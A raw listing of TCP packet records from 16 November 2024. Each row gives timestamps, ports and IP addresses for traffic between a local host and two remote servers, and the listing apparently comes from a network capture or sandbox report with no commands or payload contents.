Nov 16, 2024 19:22:32.260734081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260752916 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260756016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260767937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260778904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260801077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260828972 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.261461020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261471033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261508942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.261581898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261639118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261648893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261679888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.261790037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261815071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261823893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261836052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.261858940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.261914968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261925936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261935949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.261954069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.261970043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.261995077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262010098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262027025 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262043953 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262145042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262156963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262175083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262181997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262186050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262195110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262219906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262422085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262475967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262491941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262502909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262512922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262528896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262540102 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262551069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262554884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262562037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262573957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262581110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262583971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262597084 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262620926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262720108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262732029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262757063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262765884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262765884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262777090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262797117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262800932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262809992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262820005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262825012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262831926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262841940 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262852907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262854099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262859106 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262864113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.262882948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262921095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.262994051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263050079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263061047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263096094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263109922 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263129950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263140917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263176918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263200998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263216972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263227940 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263236046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263259888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263273954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263746023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263787985 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263825893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263837099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263849020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263859987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263870955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263870955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263894081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263914108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263928890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263940096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263951063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263959885 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263962030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263972998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263974905 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.263983965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.263994932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264024973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264352083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264390945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264420986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264444113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264457941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264462948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264481068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264482021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264497042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264503956 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264508963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264516115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264520884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264533043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264545918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264568090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264595985 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264606953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264620066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264636040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264638901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264647961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264659882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264664888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264688969 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264703035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264728069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264739990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264758110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264775038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264776945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264786959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264796972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264799118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264808893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.264810085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.264843941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266294956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266304970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266347885 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266402006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266412973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266436100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266446114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266450882 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266463041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266483068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266485929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266496897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266506910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266527891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266554117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266566992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266596079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266601086 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266606092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266632080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266644001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266671896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266683102 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266691923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.266710043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266738892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.266978025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267029047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267031908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267043114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267066956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267077923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267087936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267087936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267088890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267098904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267113924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267122030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267126083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267141104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267147064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267163992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267174959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267175913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267194986 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267225027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267231941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267236948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267246962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267266989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267281055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267292023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267293930 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267302036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267328978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267338037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267340899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267362118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267379045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267385960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267389059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267400026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267416954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267441988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267446995 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267457962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267483950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267492056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267494917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267504930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267515898 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267550945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267554045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267571926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267585039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267594099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267600060 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267621040 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267644882 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267666101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267699003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267704010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267714024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.267740965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.267755032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.300729990 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.303493977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303523064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303535938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303553104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303563118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303574085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303575993 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.303581953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303587914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.303612947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303622961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303632975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.303641081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.303644896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303654909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303663969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.303666115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.303677082 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.303695917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.310688972 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.311409950 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.314045906 CET	49858	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.314078093 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.314548969 CET	49858	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.314554930 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.315604925 CET	49857	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.315625906 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.316024065 CET	49857	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.316030979 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.316390991 CET	49856	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.316405058 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.316865921 CET	49856	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.316870928 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.331032038 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.334739923 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.334758997 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.335211039 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.335222960 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.412043095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.412065983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.412118912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.412143946 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.412154913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.412187099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.412199974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.412236929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.413244009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.413279057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.413300991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.413330078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.413335085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.413347006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.413367033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.413367033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.413383007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.413410902 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414623976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414654016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414680958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414695978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414705992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414705992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414717913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414731026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414783955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414787054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414788008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414788008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414808035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414824009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414834023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414836884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414836884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414844036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414870024 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414895058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414906025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414920092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414941072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414947987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414959908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414968967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414977074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.414987087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.414987087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415010929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415023088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.415052891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.415102005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415117979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415131092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415152073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415162086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415163994 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.415174007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415183067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.415183067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.415184975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415215969 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.415245056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.415463924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415476084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415486097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.415515900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.415535927 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.416030884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.416042089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.416059971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.416069984 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.416089058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.416115046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.416152954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.416191101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.416196108 CET	49770	80	192.168.2.5	185.215.113.206
